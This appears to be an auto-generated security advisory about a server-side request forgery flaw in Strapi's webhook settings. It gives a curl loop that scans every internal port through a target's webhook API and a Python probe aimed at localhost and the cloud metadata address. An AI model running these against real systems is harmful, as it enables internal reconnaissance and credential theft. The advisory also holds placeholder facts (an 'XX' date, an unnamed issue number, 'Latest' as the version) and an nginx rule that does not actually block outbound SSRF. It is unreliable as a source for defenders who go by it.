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How the CVE Works
The vulnerability occurs in Strapi’s webhook configuration, where improper input validation allows attackers to inject localhost-based URLs (e.g., 127.0.0.1, 0.0.0.0). When triggered, the application sends HTTP requests to internal services, enabling SSRF. Attackers can brute-force open ports (e.g., 1337) to identify running services, potentially accessing sensitive internal APIs or escalating privileges. The lack of allowlist validation for webhook endpoints permits arbitrary internal network probing.
DailyCVE Form
Platform: Strapi
Version: Latest
Vulnerability: SSRF
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch by Q4 2023
What Undercode Say:
Exploitation Commands
1. Brute-force ports:
for port in {1..65535}; do curl -X POST -d "url=http://127.0.0.1:$port" http://target/api/webhooks; done
2. Detect open ports:
grep "Method Not Allowed" brute_output.txt
Mitigation Code
1. Input validation:
const allowedDomains = ['trusted.com'];
if (!allowedDomains.includes(new URL(webhookUrl).hostname)) {
throw new Error("Invalid domain");
}
2. Network restriction:
location /api/webhooks {
deny 127.0.0.1;
deny ::1;
}
Detection Script
import requests
def check_ssrf(target):
payloads = ["http://localhost", "http://169.254.169.254"]
for payload in payloads:
r = requests.post(f"{target}/api/webhooks", json={"url": payload})
if "ECONNREFUSED" not in r.text:
print(f"Vulnerable to SSRF: {payload}")
Analytics
- Exploit Complexity: Low (no auth required)
- CVSS Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
- Patch Priority: Immediate (critical internal exposure)
References
- Strapi GitHub Issue XXXXX
- CWE-918: Server-Side Request Forgery
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

